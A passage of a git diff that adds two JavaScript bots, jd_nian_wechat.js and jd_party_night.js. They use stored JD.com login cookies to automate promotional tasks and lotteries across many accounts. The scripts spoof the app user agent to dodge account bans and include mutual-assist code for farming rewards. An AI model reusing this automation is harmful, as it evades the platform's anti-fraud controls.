s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_nian_wechat.js b/activity/jd_nian_wechat.js new file mode 100644 index 0000000..693eced --- /dev/null +++ b/activity/jd_nian_wechat.js @@ -0,0 +1,334 @@ +/* +京东炸年兽小程序🧨 +强烈推荐使用自定义的小程序UA防止黑号 +活动时间:2021-1-18至2021-2-11 +暂不加入品牌会员 +活动入口: 京东小程序-炸年兽 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东炸年兽小程序🧨 +50 8 * * * jd_nian_wechat.js, tag=京东炸年兽小程序🧨, enabled=true + +================Loon============== +[Script] +cron "50 8 * * *" script-path=jd_nian_wechat.js,tag=京东炸年兽小程序🧨 + +===============Surge================= +京东炸年兽小程序🧨 = type=cron,cronexp="50 8 * * *",wake-system=1,timeout=3600,script-path=jd_nian_wechat.js + +============小火箭========= +京东炸年兽小程序🧨 = type=cron,script-path=jd_nian_wechat.js, cronexpr="50 8 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东炸年兽小程序🧨'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdNian() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdNian() { + try { + await getHomeData() + if(!$.secretp) return + await $.wait(2000) + await getTaskList() + await $.wait(1000) + await doTask() + await $.wait(2000) + await getHomeData(true) + await showMsg() + } catch (e) { + $.logErr(e) + } +} +function encode(data, aa, extraData) { + const temp = { + "extraData": JSON.stringify(extraData), + "businessData": JSON.stringify(data), + "secretp": aa, + } + return { "ss": (JSON.stringify(temp)) }; +} +function getRnd() { + return Math.floor(1e6 * Math.random()).toString(); +} +function showMsg() { + return new Promise(resolve => { + console.log('任务已做完!\n如有未完成的任务,请多执行几次。注:目前入会任务不会做') + console.log('如出现taskVos错误的,请更新USER_AGENTS.js或使用自定义UA功能') + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + if (new Date().getHours() === 23) { + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +async function doTask() { + for (let item of $.taskVos) { + if (item.taskType === 9) { + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await collectScore(item.taskId, task.itemId, 1); + await $.wait(10*1000) + await collectScore(item.taskId, task.itemId); + } + } + } else if(item.status===2){ + console.log(`${item.taskName}已做完`) + } + } + } +} + +function getHomeData(info=false) { + return new Promise((resolve) => { + $.get(taskUrl('nian_getHomeData',{"inviteId":"","channel":1}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + $.userInfo = data.data.result.homeMainInfo + $.secretp = $.userInfo.secretp; + if(!$.secretp){ + console.log(`账号被风控`) + message += `账号被风控,无法参与活动\n` + $.secretp = null + return + } + console.log(`当前爆竹${$.userInfo.raiseInfo.remainScore}🧨,升级需要${$.userInfo.raiseInfo.nextLevelScore-$.userInfo.raiseInfo.curLevelStartScore}🧨`) + + if(info) { + message += `当前爆竹${$.userInfo.raiseInfo.remainScore}🧨\n` + } + } + else{ + $.secretp = null + console.log(`账号被风控,无法参与活动`) + message += `账号被风控,无法参与活动\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function collectScore(taskId,itemId,actionType=null,inviteId=null,shopSign=null) { + let temp = { + "taskId": taskId, + "rnd": getRnd(), + "inviteId": "-1", + "stealId": "-1" + } + if(itemId) temp['itemId'] = itemId + if(actionType) temp['actionType'] = actionType + if(inviteId) temp['inviteId'] = inviteId + if(shopSign) temp['shopSign'] = shopSign + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + let body = { + ...encode(temp, $.secretp, extraData), + taskId:taskId, + itemId:itemId + } + if(actionType) body['actionType'] = actionType + if(inviteId) body['inviteId'] = inviteId + if(shopSign) body['shopSign'] = shopSign + return new Promise(resolve => { + $.get(taskUrl("nian_collectScore", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data.data.bizCode === 0) { + if(data.data.result.score) + console.log(`任务完成,获得${data.data.result.score}爆竹🧨`) + // $.userInfo = data.data.result.userInfo; + } + else{ + console.log(data.data.bizMsg) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getTaskList() { + return new Promise(resolve => { + $.get(taskUrl("nian_getTaskDetail", {"appSign":"2","channel":1}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos;//任务列表 + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + let url = `${JD_API_HOST}`; + body = `?dev=nian_getHomeData&sceneval=&callback=${function_id}&functionId=${function_id}&client=wh5&clientVersion=1.0.0&uuid=-1&body=${escape(JSON.stringify(body))}&loginType=2&loginWQBiz=businesst1&g_ty=ls&g_tk=642524613` + return { + url:`${url}${body}`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_WECHAT_USER_AGENT ? process.env.JD_WECHAT_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUAWECHAT') ? $.getdata('JDUAWECHAT') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_WECHAT_USER_AGENT ? process.env.JD_WECHAT_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUAWECHAT') ? $.getdata('JDUAWECHAT') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_party_night.js b/activity/jd_party_night.js new file mode 100644 index 0000000..2340403 --- /dev/null +++ b/activity/jd_party_night.js @@ -0,0 +1,232 @@ +/* +沸腾之夜 +开启预约活动得0.18元红包,得到五个助力后,得1.58元红包 +内部账号自己相互助力,一个账号3次助力机会。 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#沸腾之夜 +0 15-19/1 * * * jd_party_night.js, tag=沸腾之夜, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "0 15-19/1 * * *" script-path=jd_party_night.js,tag=沸腾之夜 + +===============Surge================= +沸腾之夜 = type=cron,cronexp="0 15-19/1 * * *",wake-system=1,timeout=3600,script-path=jd_party_night.js + +============小火箭========= +沸腾之夜 = type=cron,script-path=jd_party_night.js, cronexpr="0 15-19/1 * * *", timeout=3600, enable=true + */ +const $ = new Env('沸腾之夜'); +const notify = $.isNode() ? require('../sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +$.inviteCodeList = []; +let cookiesArr = [ +]; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < 5; i++) { + console.log(`开始第${i+1}次抽奖`); + for (let i = 0; i < cookiesArr.length; i++) { + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + await partyNight(); + if(cookiesArr.length>5){ + await $.wait(1500); + }else{ + await $.wait(5000); + } + } + } + + // //助力------------------------- + // for (let i = 0; i < cookiesArr.length; i++) { + // $.index = i + 1; + // $.cookie = cookiesArr[i]; + // $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + // console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + // $.canHelp = true; + // for (let j = 0; j < $.inviteCodeList.length && $.canHelp; j++) { + // await $.wait(2000); + // $.oneInviteInfo = $.inviteCodeList[j]; + // if($.oneInviteInfo.use === $.UserName){ + // continue; + // } + // if($.oneInviteInfo.max){ + // continue; + // } + // $.inviteCode = $.oneInviteInfo.inviteCode; + // console.log(`${$.UserName}去助力${$.oneInviteInfo.use},助力码:${$.inviteCode}`) + // await takePostRequest('partyTonight_assist'); + // } + // //await $.wait(3000); + // } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function partyNight(){ + // $.mainInfo = {}; + // await takePostRequest('partyTonight_init'); + // if(JSON.stringify($.mainInfo) === '{}'){ + // return ; + // }else { + // console.log('获取活动信息成功'); + // } + + $.runFlag = true; + //for (let i = 0; i < 10 && $.runFlag; i++) { + + await takePostRequest('partyTonight_lottery'); + //await $.wait(5000); + //} + //预约 + //await $.wait(2000); + //await takePostRequest('partyTonight_remind'); +} + +async function takePostRequest(type) { + let body = ``; + let myRequest = ``; + switch (type) { + case 'partyTonight_init': + body = `functionId=partyTonight_init&body={}&client=wh5&clientVersion=1.0.0&uuid=`; + myRequest = getPostRequest(`partyTonight_init`, body); + break; + case 'partyTonight_remind': + body = `functionId=partyTonight_remind&body={}&client=wh5&clientVersion=1.0.0&uuid=`; + myRequest = getPostRequest(`partyTonight_remind`, body); + break; + case 'partyTonight_assist': + body = `functionId=partyTonight_assist&body={"inviteCode":"${$.inviteCode}"}&client=wh5&clientVersion=1.0.0&uuid=`; + myRequest = getPostRequest(`partyTonight_assist`, body); + break; + case 'partyTonight_lottery': + body = `functionId=partyTonight_lottery&body={}&client=wh5&clientVersion=1.0.0&uuid=`; + myRequest = getPostRequest(`partyTonight_lottery`, body); + break; + default: + console.log(`错误${type}`); + } + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dealReturn(type, data); + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function dealReturn(type, data) { + try { + data = JSON.parse(data); + } catch (e) { + console.log(`返回异常:${data}`); + return; + } + switch (type) { + case 'partyTonight_init': + if (data.code === 0 && data.data && data.data.bizCode === 0) { + $.mainInfo = data.data.result; + $.inviteCode = $.mainInfo.inviteCode; + console.log(`邀请码:${$.inviteCode}`); + if($.mainInfo.assistStatus === 4){ + console.log(`助力已满`); + }else{ + $.inviteCodeList.push( + { + 'inviteCode':$.inviteCode, + 'use':$.UserName, + 'max':false + } + ) + } + }else{ + console.log(JSON.stringify(data)); + } + break; + case 'partyTonight_remind': + if (data.code === 0 && data.data && data.data.bizCode === 0) { + console.log(`预约成功,获得:${data.data.result.remindRedPacketValue}`) + }else if(data.code === 0 && data.data && data.data.bizCode === -201){ + console.log(JSON.stringify(data.data.bizMsg)); + }else{ + console.log(JSON.stringify(data)); + } + break; + case 'partyTonight_assist': + if (data.code === 0 && data.data && (data.data.bizCode === -303 || data.data.bizCode === -1001)) { + $.canHelp = false + }else if (data.code === 0 && data.data && data.data.bizCode === -304) { + $.oneInviteInfo.max = true; + } + console.log(JSON.stringify(data)); + break; + case 'partyTonight_lottery': + if (data.code === 0 && data.data && data.data.bizCode === 0) { + let result = data.data.result; + if(result.type === 1){ + console.log(`获得红包:${result.hongbaoValue}`); + }else if(result.type === 2){ + console.log(`获得优惠券:`); + }else if(result.type === 3){ + console.log(`获得京豆:${result.beanCount}`); + }else{ + console.log(JSON.stringify(data)); + } + }else { + $.runFlag = false; + console.log(JSON.stringify(data)); + } + break; + default: + } +} + +function getPostRequest(type, body) { + const url = `https://api.m.jd.com/`; + const method = `POST`; + const headers = { + 'Accept' : `application/json, text/plain, */*`, + 'Origin' : `https://h5static.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Cookie' : $.cookie, + 'Content-Type' : `application/x-www-form-urlencoded`, + 'Host' : `api.m.jd.com`, + 'Connection' : `keep-alive`, + 'User-Agent' : $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer' : `https://h5static.m.jd.com/babelDiy/Zeus/qEfNdq9oRsJfhYJ7XR1EahyLt9L/index.html`, + 'Accept-Language' : `zh-cn` + }; + return {url: url, method: method, headers: headers, body: body}; +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return 